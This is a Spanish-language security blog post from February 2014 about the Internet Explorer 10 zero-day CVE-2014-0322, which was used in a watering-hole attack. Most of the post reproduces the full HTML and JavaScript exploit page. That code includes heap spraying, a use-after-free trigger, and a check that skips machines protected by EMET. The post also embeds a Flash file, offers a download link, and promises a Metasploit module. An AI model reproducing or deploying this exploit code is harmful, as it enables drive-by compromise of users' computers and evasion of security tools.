15 feb. 2014

0-Day en Internet Explorer 10 Remote Code Execution (CVE-2014-0322) [Exploit]


Los investigadores de seguridad de FireEye han descubierto un nuevo exploit IE 10 0-Day (CVE-2014-0322), que está siendo utilizado en un ataque de Watering Hole Attack y siendo servida desde el sitio web de U.S. Veterans of Foreign Wars (vfw[.]org), agregando un iFrame.

El objetivo del ataque  se centra en IE 10 con Adobe Flash Player, sobre el cual se coordina el resto del ataque. El fallo de seguridad es un error de uso después de liberación (use-after-free) que da el atacante acceso directo a la memoria en una dirección arbitraria, usando un archivo corrupto de Adobe Flash, siendo capaz de pasar la protección Space Layout Randomization (ASLR) y Data Execution Prevention (DEP).

El exploit cuenta con un *.html un *.swf (archivo corrupto de Adobe Flash) y un *.as3.

 El html contiene:
<html>

<head id="headId">
 <title>main page</title>
 <script>
  function dword2data(dword) {
   var d = Number(dword).toString(16);
   while (d.length < 8)
    d = '0' + d;
   return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
  }

  function developonther(txt) {
   var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
   xmlDoc.async = true;
   xmlDoc.loadXML(txt);
   if (xmlDoc.parseError.errorCode != 0) {
    var err;
    err = "Error Code: " + xmlDoc.parseError.errorCode + "\n";
    err += "Error Reason: " + xmlDoc.parseError.reason;
    err += "Error Line: " + xmlDoc.parseError.line;
    if (err.indexOf("-2147023083") > 0) {
     return 1;
    } else {
     return 0;
    }
   }
   return 0;
  }

  var g_arr = [];
  var arrLen = 0x250;

  function fun() {

   var a = 0;
   for (a = 0; a < arrLen; ++a) {
    g_arr[a] = document.createElement('div')
   };
   var b = dword2data(0xdeadc0de);
   var c = 0x1a1b2000;
   while (b.length < 0x360) {
    if (b.length == (0x94 / 2)) {
     b += dword2data(c + 0x10 - 0x0c)
    } else if (
     b.length == (0x98 / 2)) {
     b += dword2data(c + 0x14 - 0x8)
    } else if (b.length == (0xac / 2)) {
     b += dword2data(c - 0x10)
    } else if (b.length == (0x15c / 2)) {
     b += dword2data(0x42424242)
    } else {
     b += dword2data(0x1a1b2000 - 0x10)
    }
   };
   var d = b.substring(0, (0x340 - 2) / 2);
   try {
    this.outerHTML = this.outerHTML
   } catch (e) {}
   CollectGarbage();
   for (a = 0; a < arrLen; ++a) {
    g_arr[a].title = d.substring(0, d.length);
   }
  }

  function puIHa3() {

   var bamboo_go = "<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'res://C:\\windows\\AppPatch\\EMET.DLL'>";

   if (navigator.userAgent.indexOf("MSIE 10.0") > 0) {
    if (developonther(bamboo_go)) {

     return;
    }
    var a = document.getElementsByTagName("script");
    var b = a[0];
    b.onpropertychange = fun;
    var c = document.createElement('SELECT');
    c = b.appendChild(c);
   } else if (navigator.userAgent.indexOf("IE10") > 0) {
    if (developonther(bamboo_go)) {

     return;
    }
    var a = document.getElementsByTagName("script");
    var b = a[0];
    b.onpropertychange = fun;
    var c = document.createElement('SELECT');
    c = b.appendChild(c);
   }
  }
 </script>
 <embed src=Tope.swf width=10 height=10></embed>
</head>

</html>

Apenas salga el módulo para Metasploit lo estaré informando, por ahora es una noticia que está en proceso.

Download Exploit 0-day en Internet Explorer 10 (CVE-2014-0322)


Fuente:

[-] Salu2
[-] Zion3R